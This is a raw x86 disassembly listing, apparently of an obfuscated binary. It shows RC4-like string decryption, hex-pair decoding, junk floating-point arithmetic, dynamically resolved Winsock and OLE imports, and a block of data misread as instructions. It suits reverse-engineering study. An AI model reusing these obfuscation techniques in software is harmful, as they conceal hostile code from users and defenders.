movzx eax, byte [ebp + eax - 0x6a3c]
xor ecx, eax
movzx edx, byte [ebp - 0x3301]
movzx eax, byte [ebp + edx - 0x6a3c]
movzx edx, byte [ebp - 0x331c]
movzx edx, byte [ebp + edx - 0x6a3c]
add eax, edx
movzx edx, byte [ebp - 0x3386]
movzx edx, byte [ebp + edx - 0x6a3c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6a3c]
movzx edx, byte [ebp + eax - 0x6a3c]
xor ecx, edx
mov byte [ebp - 0x3301], cl
mov al, byte [ebp - 0x3387]
mov byte [ebp - 0x331c], al
mov cl, byte [ebp - 0x3301]
mov byte [ebp - 0x3431], cl
cmp dword [ebp - 0x3564], 0
jle 0x42dd9a
movsx dx, byte [ebp - 0x3431]
mov eax, dword [ebp - 0x3564]
mov word [ebp + eax*2 - 0x86], dx
jmp 0x42db2f
mov ecx, dword [ebp - 0x3c90]
add ecx, 1
mov dword [ebp - 0x3c90], ecx
mov edx, dword [ebp - 0x3564]
add edx, 1
mov dword [ebp - 0x3564], edx
mov eax, dword [ebp - 0x3c90]
add eax, 1
mov dword [ebp - 0x3c90], eax
mov ecx, dword [ebp - 0x3564]
shl ecx, 1
mov dword [ebp - 0x4300], ecx
mov edx, dword [ebp - 0x4304]
add edx, dword [ebp - 0x4300]
movzx eax, byte [edx]
mov dword [ebp - 0x4200], eax
mov dword [ebp - 0x41f8], 0x61
mov ecx, dword [ebp - 0x3564]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4344], edx
mov eax, dword [ebp - 0x4304]
add eax, dword [ebp - 0x4344]
movzx ecx, byte [eax]
mov dword [ebp - 0x41fc], ecx
mov dword [ebp - 0x41ec], 0xee
mov edx, dword [ebp - 0x4200]
sub edx, dword [ebp - 0x41f8]
mov dword [ebp - 0x41e8], edx
mov eax, dword [ebp - 0x41fc]
sub eax, dword [ebp - 0x41ec]
mov dword [ebp - 0x41e4], eax
mov ecx, dword [ebp - 0x41e8]
shl ecx, 4
mov dword [ebp - 0x4348], ecx
mov edx, dword [ebp - 0x41e4]
mov dword [ebp - 0x426c], edx
mov eax, dword [ebp - 0x4348]
or eax, dword [ebp - 0x426c]
mov dword [ebp - 0x4270], eax
mov cl, byte [ebp - 0x4270]
mov byte [ebp - 0x3387], cl
movzx edx, byte [ebp - 0x331c]
mov al, byte [ebp + edx - 0x6a3c]
mov byte [ebp - 0x3385], al
movzx ecx, byte [ebp - 0x32f4]
movzx edx, byte [ebp + ecx - 0x6a3c]
movzx eax, byte [ebp - 0x3304]
add eax, edx
mov byte [ebp - 0x3304], al
mov cl, byte [ebp - 0x32f4]
add cl, 1
mov byte [ebp - 0x32f4], cl
movzx edx, byte [ebp - 0x3304]
movzx eax, byte [ebp - 0x331c]
mov cl, byte [ebp + edx - 0x6a3c]
mov byte [ebp + eax - 0x6a3c], cl
movzx edx, byte [ebp - 0x3301]
movzx eax, byte [ebp - 0x3304]
mov cl, byte [ebp + edx - 0x6a3c]
mov byte [ebp + eax - 0x6a3c], cl
movzx edx, byte [ebp - 0x32f4]
movzx eax, byte [ebp - 0x3301]
mov cl, byte [ebp + edx - 0x6a3c]
mov byte [ebp + eax - 0x6a3c], cl
movss xmm0, dword [0xa6f304]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [0xa6f2a4]
movss dword [ebp - 0x37d0], xmm0
movss xmm0, dword [0xa6f1fc]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [0xa6f150]
movss dword [ebp - 0x411c], xmm0
movss xmm0, dword [0xa6f0a8]
movss dword [ebp - 0x3e38], xmm0
movss xmm0, dword [0xa6f000]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x3e38]
mulss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x3e38], xmm0
movss xmm0, dword [ebp - 0x37d0]
mulss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x37d0], xmm0
movss xmm0, dword [ebp - 0x35b4]
addss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x37d0]
mulss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x37d0], xmm0
movss xmm0, dword [ebp - 0x3e38]
mulss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x3e38], xmm0
movss xmm0, dword [ebp - 0x37d0]
subss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x37d0], xmm0
movss xmm0, dword [ebp - 0x35dc]
comiss xmm0, dword [ebp - 0x37d0]
jbe 0x42e27e
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3504]
subss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x411c]
mulss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x411c], xmm0
movss xmm0, dword [ebp - 0x35b4]
addss xmm0, dword [ebp - 0x3e38]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x411c]
mulss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x411c], xmm0
movss xmm0, dword [ebp - 0x3504]
divss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x35b4]
addss xmm0, dword [ebp - 0x3e38]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x3504]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x411c]
addss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x411c], xmm0
movss xmm0, dword [ebp - 0x35dc]
subss xmm0, dword [ebp - 0x37d0]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x411c]
comiss xmm0, dword [ebp - 0x35dc]
jbe 0x42e1e9
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x37d0]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3e38]
subss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x3e38], xmm0
movss xmm0, dword [ebp - 0x35dc]
mulss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x37d0]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x37d0]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x37d0], xmm0
movss xmm0, dword [ebp - 0x3504]
divss xmm0, dword [ebp - 0x37d0]
movss dword [ebp - 0x3504], xmm0
jmp 0x42e279
movss xmm0, dword [ebp - 0x35dc]
subss xmm0, dword [ebp - 0x37d0]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x3504]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x37d0]
subss xmm0, dword [ebp - 0x411c]
movss dword [ebp - 0x37d0], xmm0
movss xmm0, dword [ebp - 0x35b4]
addss xmm0, dword [ebp - 0x3e38]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x3e38]
divss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x3e38], xmm0
movss xmm0, dword [ebp - 0x35b4]
mulss xmm0, dword [ebp - 0x3e38]
movss dword [ebp - 0x35b4], xmm0
jmp 0x42e322
movss xmm0, dword [ebp - 0x35b4]
mulss xmm0, dword [ebp - 0x411c]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x35b4]
subss xmm0, dword [ebp - 0x411c]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x35dc]
addss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x37d0]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x35dc]
mulss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x37d0]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x37d0], xmm0
movzx edx, byte [ebp - 0x32f4]
mov al, byte [ebp - 0x3385]
mov byte [ebp + edx - 0x6a3c], al
movzx ecx, byte [ebp - 0x3385]
movzx edx, byte [ebp + ecx - 0x6a3c]
movzx eax, byte [ebp - 0x3386]
add eax, edx
mov byte [ebp - 0x3386], al
movzx ecx, byte [ebp - 0x3387]
movzx edx, byte [ebp - 0x3304]
movzx eax, byte [ebp + edx - 0x6a3c]
movzx edx, byte [ebp - 0x32f4]
movzx edx, byte [ebp + edx - 0x6a3c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6a3c]
xor ecx, eax
movzx edx, byte [ebp - 0x3301]
movzx eax, byte [ebp + edx - 0x6a3c]
movzx edx, byte [ebp - 0x331c]
movzx edx, byte [ebp + edx - 0x6a3c]
add eax, edx
movzx edx, byte [ebp - 0x3386]
movzx edx, byte [ebp + edx - 0x6a3c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6a3c]
movzx edx, byte [ebp + eax - 0x6a3c]
xor ecx, edx
mov byte [ebp - 0x3301], cl
mov al, byte [ebp - 0x3387]
mov byte [ebp - 0x331c], al
mov cl, byte [ebp - 0x3301]
mov byte [ebp - 0x3431], cl
cmp dword [ebp - 0x3564], 0
jle 0x42e3fb
movsx dx, byte [ebp - 0x3431]
mov eax, dword [ebp - 0x3564]
mov word [ebp + eax*2 - 0x86], dx
mov ecx, dword [ebp - 0x3c90]
add ecx, 3
mov dword [ebp - 0x3c90], ecx
mov edx, dword [ebp - 0x3564]
add edx, 1
mov dword [ebp - 0x4acc], edx
jmp 0x42e42a
mov eax, dword [ebp - 0x4acc]
add eax, 1
mov dword [ebp - 0x4acc], eax
mov ecx, dword [ebp - 0x4acc]
cmp ecx, dword [ebp - 0x3c90]
jge 0x42e68c
mov edx, dword [ebp - 0x3564]
add edx, 1
mov dword [ebp - 0x3564], edx
mov eax, dword [ebp - 0x3564]
shl eax, 1
mov dword [ebp - 0x4300], eax
mov ecx, dword [ebp - 0x4304]
add ecx, dword [ebp - 0x4300]
movzx edx, byte [ecx]
mov dword [ebp - 0x4200], edx
mov dword [ebp - 0x41f8], 0x61
mov eax, dword [ebp - 0x3564]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4344], ecx
mov edx, dword [ebp - 0x4304]
add edx, dword [ebp - 0x4344]
movzx eax, byte [edx]
mov dword [ebp - 0x41fc], eax
mov dword [ebp - 0x41ec], 0xee
mov ecx, dword [ebp - 0x4200]
sub ecx, dword [ebp - 0x41f8]
mov dword [ebp - 0x41e8], ecx
mov edx, dword [ebp - 0x41fc]
sub edx, dword [ebp - 0x41ec]
mov dword [ebp - 0x41e4], edx
mov eax, dword [ebp - 0x41e8]
shl eax, 4
mov dword [ebp - 0x4348], eax
mov ecx, dword [ebp - 0x41e4]
mov dword [ebp - 0x426c], ecx
mov edx, dword [ebp - 0x4348]
or edx, dword [ebp - 0x426c]
mov dword [ebp - 0x4270], edx
mov al, byte [ebp - 0x4270]
mov byte [ebp - 0x3387], al
movzx ecx, byte [ebp - 0x331c]
mov dl, byte [ebp + ecx - 0x6a3c]
mov byte [ebp - 0x3385], dl
movzx eax, byte [ebp - 0x32f4]
movzx ecx, byte [ebp + eax - 0x6a3c]
movzx edx, byte [ebp - 0x3304]
add edx, ecx
mov byte [ebp - 0x3304], dl
mov al, byte [ebp - 0x32f4]
add al, 1
mov byte [ebp - 0x32f4], al
movzx ecx, byte [ebp - 0x3304]
movzx edx, byte [ebp - 0x331c]
mov al, byte [ebp + ecx - 0x6a3c]
mov byte [ebp + edx - 0x6a3c], al
movzx ecx, byte [ebp - 0x3301]
movzx edx, byte [ebp - 0x3304]
mov al, byte [ebp + ecx - 0x6a3c]
mov byte [ebp + edx - 0x6a3c], al
movzx ecx, byte [ebp - 0x32f4]
movzx edx, byte [ebp - 0x3301]
mov al, byte [ebp + ecx - 0x6a3c]
mov byte [ebp + edx - 0x6a3c], al
movzx ecx, byte [ebp - 0x32f4]
mov dl, byte [ebp - 0x3385]
mov byte [ebp + ecx - 0x6a3c], dl
movzx eax, byte [ebp - 0x3385]
movzx ecx, byte [ebp + eax - 0x6a3c]
movzx edx, byte [ebp - 0x3386]
add edx, ecx
mov byte [ebp - 0x3386], dl
movzx eax, byte [ebp - 0x3387]
movzx ecx, byte [ebp - 0x3304]
movzx edx, byte [ebp + ecx - 0x6a3c]
movzx ecx, byte [ebp - 0x32f4]
movzx ecx, byte [ebp + ecx - 0x6a3c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6a3c]
xor eax, edx
movzx ecx, byte [ebp - 0x3301]
movzx edx, byte [ebp + ecx - 0x6a3c]
movzx ecx, byte [ebp - 0x331c]
movzx ecx, byte [ebp + ecx - 0x6a3c]
add edx, ecx
movzx ecx, byte [ebp - 0x3386]
movzx ecx, byte [ebp + ecx - 0x6a3c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6a3c]
movzx ecx, byte [ebp + edx - 0x6a3c]
xor eax, ecx
mov byte [ebp - 0x3301], al
mov dl, byte [ebp - 0x3387]
mov byte [ebp - 0x331c], dl
mov al, byte [ebp - 0x3301]
mov byte [ebp - 0x3431], al
cmp dword [ebp - 0x3564], 0
jle 0x42e687
movsx cx, byte [ebp - 0x3431]
mov edx, dword [ebp - 0x3564]
mov word [ebp + edx*2 - 0x86], cx
jmp 0x42e41b
mov eax, dword [ebp - 0x3c90]
add eax, 1
mov dword [ebp - 0x3c90], eax
mov ecx, 2
imul edx, ecx, 6
mov dword [ebp - 0x51ec], edx
cmp dword [ebp - 0x51ec], 0xe
jae 0x42e6b4
jmp 0x42e6b9
call fcn.009f1ed7
xor eax, eax
mov ecx, dword [ebp - 0x51ec]
mov word [ebp + ecx - 0x84], ax
jmp 0x42e71f
mov dword [ebp - 0x4850], 0
jmp 0x42e6e6
mov edx, dword [ebp - 0x4850]
add edx, 1
mov dword [ebp - 0x4850], edx
cmp dword [ebp - 0x4850], 7
jge 0x42e71f
mov eax, dword [ebp - 0x4850]
shl eax, 1
mov dword [ebp - 0x51e8], eax
cmp dword [ebp - 0x51e8], 0xe
jae 0x42e708
jmp 0x42e70d
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x51e8]
mov word [ebp + edx - 0x84], cx
jmp 0x42e6d7
push 1
mov eax, dword [ebp - 0x465c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0xbc]
push eax
push reloc.WS2_32.dll_accept
call fcn.00428c10
add esp, 0x18
movzx ecx, byte [ebp + 0xc]
test ecx, ecx
je 0x42e79c
push 1
mov edx, dword [ebp - 0x465c]
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xbc]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
push 1
mov eax, dword [ebp - 0x465c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0xbc]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x3258], 0
mov dword [ebp - 0x3254], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4714], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4624], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4624], xmm0
jmp 0x42e7eb
movsd xmm0, qword [ebp - 0x4624]
addsd xmm0, qword [0xa6e358]
movsd qword [ebp - 0x4624], xmm0
movsd xmm0, qword [0xa6e7b0]
comisd xmm0, xmmword [ebp - 0x4624]
jbe 0x42e89c
movsd xmm0, qword [0xa6e6d0]
mulsd xmm0, qword [ebp - 0x4624]
mulsd xmm0, qword [ebp - 0x4624]
movsd xmm1, qword [ebp - 0x4624]
mulsd xmm1, qword [ebp - 0x4624]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e370]
mulsd xmm1, qword [ebp - 0x4624]
mulsd xmm1, qword [ebp - 0x4624]
addsd xmm1, qword [0xa6e500]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4714]
movsd qword [ebp - 0x4714], xmm0
movsd xmm0, qword [ebp - 0x4714]
comisd xmm0, xmmword [0xa6e558]
jbe 0x42e897
movsd xmm0, qword [0xa6e260]
mulsd xmm0, qword [ebp - 0x4624]
movsd xmm1, qword [ebp - 0x4714]
subsd xmm1, xmm0
movsd qword [ebp - 0x4714], xmm1
jmp 0x42e7d3
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4714]
jbe 0x42e912
popal
jo 0x42e90b
cmp ebp, dword [ecx]
cmp byte [ebp + edi + 0x39], cl
jl 0x42e91f
xor esi, dword [edx]
and ebp, dword [ebx + 0x40]
pop edx
pop edx
pop edx
popal
inc ebx
dec eax
dec ebx
pop ebp
inc ecx
pop ecx
inc edx
pop ebx
inc ebp
pop ebp
dec esi
pop edx
inc ebp
pop ecx
dec ecx
push edi
dec ebp
pop ecx
inc ecx
pop edx
dec edx
push edi
inc edi
pop ebp
dec ebx
pop ecx
inc ebx
arpl word [ebp + 0x60], ax
inc esi
pop eax
dec eax
pop esi
dec eax
push esi
dec ebp
pop edx
inc ebp
pop eax
inc edi
pop eax
dec edi
push ebp
dec ebx
pop ebp
push eax
push esi
dec edi
bound eax, qword [ebp + 0x62]
inc esp
pop edx
inc ebp
push esp
inc ecx
pop esp
inc ebx
pop ebp
dec eax
popal
inc ecx
pop edi
inc esp
pop edx
inc edi
push edi
dec esp
popal
dec edi
pop edi
inc esp
pop ebx
inc esi
pop esp
push eax
pop eax
dec edx
push esi
jmp 0x4316d1
mov dword [ebp - 0x3258], 0x42e8bf
mov dword [ebp - 0x3254], 0x42e8a9
mov ecx, dword [ebp - 0x3258]
mov dword [ebp - 0x3700], ecx
mov edx, dword [ebp - 0x3254]
mov dword [ebp - 0x6228], edx
mov byte [ebp - 0x3fe9], 0x1a
mov dword [ebp - 0x393c], 0
jmp 0x42e960
int 0xff
jmp [ecx - 0x74ffbd18]
mov eax, dword [ebp - 0x393c]
add eax, 1
mov dword [ebp - 0x393c], eax
cmp dword [ebp - 0x393c], 0x100
jae 0x42e981
mov ecx, dword [ebp - 0x393c]
mov dl, byte [ebp - 0x393c]
mov byte [ebp + ecx - 0x5128], dl
jmp 0x42e951
mov dword [ebp - 0x44c4], 0
mov byte [ebp - 0x3349], 0
mov dword [ebp - 0x393c], 0xff
jmp 0x42e9ad
mov eax, dword [ebp - 0x393c]
sub eax, 1
mov dword [ebp - 0x393c], eax
cmp dword [ebp - 0x393c], 0
jbe 0x42ec1d
mov dword [ebp - 0x4ad0], 0
mov dword [ebp - 0x484c], 1
mov ecx, dword [ebp - 0x484c]
cmp ecx, dword [ebp - 0x393c]
jae 0x42e9ee
mov edx, dword [ebp - 0x484c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x484c], eax
jmp 0x42e9ce
mov ecx, dword [ebp - 0x44c4]
mov dword [ebp - 0x51e4], ecx
cmp dword [ebp - 0x51e4], 3
ja case.default.0x42ea0d
mov edx, dword [ebp - 0x51e4]
jmp dword [edx*4 + 0x46b500]
movzx eax, byte [ebp - 0x3349]
movzx ebx, byte [ebp + eax - 0x5128]
movsd xmm0, qword [ebp - 0x4714]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3349], bl
jmp 0x42eaf6
movzx ecx, byte [ebp - 0x3349]
movzx ebx, byte [ebp + ecx - 0x5128]
movsd xmm0, qword [ebp - 0x4714]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3349], bl
jmp 0x42eaf6
movzx edx, byte [ebp - 0x3349]
movzx ebx, byte [ebp + edx - 0x5128]
movsd xmm0, qword [ebp - 0x4714]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3349], bl
jmp 0x42eaf6
movzx eax, byte [ebp - 0x3349]
movzx ebx, byte [ebp + eax - 0x5128]
movsd xmm0, qword [ebp - 0x4714]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3349], bl
jmp 0x42eaf6
movzx ecx, byte [ebp - 0x3349]
movzx edx, byte [ebp + ecx - 0x5128]
mov eax, dword [ebp - 0x6228]
add eax, dword [ebp - 0x44c4]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3349], dl
mov edx, dword [ebp - 0x44c4]
add edx, 1
mov dword [ebp - 0x44c4], edx
movzx eax, byte [ebp - 0x3fe9]
cmp dword [ebp - 0x44c4], eax
jb 0x42eb34
mov dword [ebp - 0x44c4], 0
movzx ecx, byte [ebp - 0x3fe9]
movzx edx, byte [ebp - 0x3349]
add edx, ecx
mov byte [ebp - 0x3349], dl
movzx eax, byte [ebp - 0x3349]
and eax, dword [ebp - 0x484c]
mov dword [ebp - 0x4284], eax
mov ecx, dword [ebp - 0x4ad0]
add ecx, 1
mov dword [ebp - 0x4ad0], ecx
cmp dword [ebp - 0x4ad0], 0xb
jbe 0x42eb73
mov eax, dword [ebp - 0x4284]
xor edx, edx
div dword [ebp - 0x393c]
mov dword [ebp - 0x4284], edx
mov edx, dword [ebp - 0x4284]
cmp edx, dword [ebp - 0x393c]
ja 0x42e9ee
mov eax, dword [ebp - 0x393c]
cmp eax, dword [ebp - 0x4284]
je 0x42ec18
mov ecx, dword [ebp - 0x4284]
movzx edx, byte [ebp + ecx - 0x5128]
mov eax, dword [ebp - 0x393c]
movzx ecx, byte [ebp + eax - 0x5128]
xor ecx, edx
mov edx, dword [ebp - 0x393c]
mov byte [ebp + edx - 0x5128], cl
mov eax, dword [ebp - 0x393c]
movzx ecx, byte [ebp + eax - 0x5128]
mov edx, dword [ebp - 0x4284]
movzx eax, byte [ebp + edx - 0x5128]
xor eax, ecx
mov ecx, dword [ebp - 0x4284]
mov byte [ebp + ecx - 0x5128], al
mov edx, dword [ebp - 0x4284]
movzx eax, byte [ebp + edx - 0x5128]
mov ecx, dword [ebp - 0x393c]
movzx edx, byte [ebp + ecx - 0x5128]
xor edx, eax
mov eax, dword [ebp - 0x393c]
mov byte [ebp + eax - 0x5128], dl
jmp 0x42e99e
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5128]
mov byte [ebp - 0x3262], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5128]
mov byte [ebp - 0x3271], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5128]
mov byte [ebp - 0x32bd], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5128]
mov byte [ebp - 0x3270], dl
movzx eax, byte [ebp - 0x3349]
mov cl, byte [ebp + eax - 0x5128]
mov byte [ebp - 0x328c], cl
mov dword [ebp - 0x51e0], 0x4e
cmp dword [ebp - 0x51e0], 2
jle 0x43167d
mov edx, dword [ebp - 0x51e0]
and edx, 1
jne 0x43167d
mov dword [ebp - 0x333c], 0
mov dword [ebp - 0x3508], 0
mov eax, dword [ebp - 0x3508]
add eax, 1
mov dword [ebp - 0x3508], eax
mov dword [ebp - 0x36fc], 0
mov ecx, dword [ebp - 0x333c]
shl ecx, 1
mov dword [ebp - 0x36fc], ecx
mov dword [ebp - 0x3678], 0
mov edx, dword [ebp - 0x3700]
add edx, dword [ebp - 0x36fc]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3678]
mov dword [ebp - 0x3678], eax
mov dword [ebp - 0x3684], 0
mov ecx, dword [ebp - 0x3684]
add ecx, 0x41
mov dword [ebp - 0x3684], ecx
mov dword [ebp - 0x3704], 0
mov edx, dword [ebp - 0x333c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3704], eax
mov dword [ebp - 0x3688], 0
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3688]
mov dword [ebp - 0x3688], edx
mov dword [ebp - 0x368c], 0
mov eax, dword [ebp - 0x368c]
add eax, 0x54
mov dword [ebp - 0x368c], eax
mov dword [ebp - 0x3690], 0
mov ecx, dword [ebp - 0x3678]
sub ecx, dword [ebp - 0x3684]
add ecx, dword [ebp - 0x3690]
mov dword [ebp - 0x3690], ecx
mov dword [ebp - 0x3694], 0
mov edx, dword [ebp - 0x3688]
sub edx, dword [ebp - 0x368c]
add edx, dword [ebp - 0x3694]
mov dword [ebp - 0x3694], edx
mov dword [ebp - 0x3708], 0
mov eax, dword [ebp - 0x3690]
shl eax, 4
mov dword [ebp - 0x3708], eax
mov dword [ebp - 0x370c], 0
mov ecx, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], ecx
mov dword [ebp - 0x3710], 0
mov edx, dword [ebp - 0x3708]
or edx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], edx
mov byte [ebp - 0x32be], 0
mov al, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], al
mov byte [ebp - 0x32bc], 0
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + ecx - 0x5128]
mov byte [ebp - 0x32bc], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp - 0x3271]
add edx, ecx
mov byte [ebp - 0x3271], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp - 0x328c]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3271]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movss xmm0, dword [0xa6f330]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [0xa6f24c]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [0xa6f0d4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34d4]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3430]
subss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x3430]
mulss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34b8]
comiss xmm0, dword [ebp - 0x3430]
jbe 0x42f14d
movss xmm0, dword [ebp - 0x34d4]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x3430]
subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34b8]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34b8]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34d4]
comiss xmm0, dword [ebp - 0x34b8]
jbe 0x42f018
movss xmm0, dword [ebp - 0x34d4]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x3430]
subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3430], xmm0
jmp 0x42f14b
movss xmm0, dword [ebp - 0x34d4]
divss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3430]
subss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34d4]
mulss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3430]
subss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x3430]
mulss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34b8]
divss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34d4]
comiss xmm0, dword [ebp - 0x3430]
jbe 0x42f103
movss xmm0, dword [ebp - 0x34d4]
addss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3430]
mulss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34b8]
subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x34b8], xmm0
jmp 0x42f14b
movss xmm0, dword [ebp - 0x34b8]
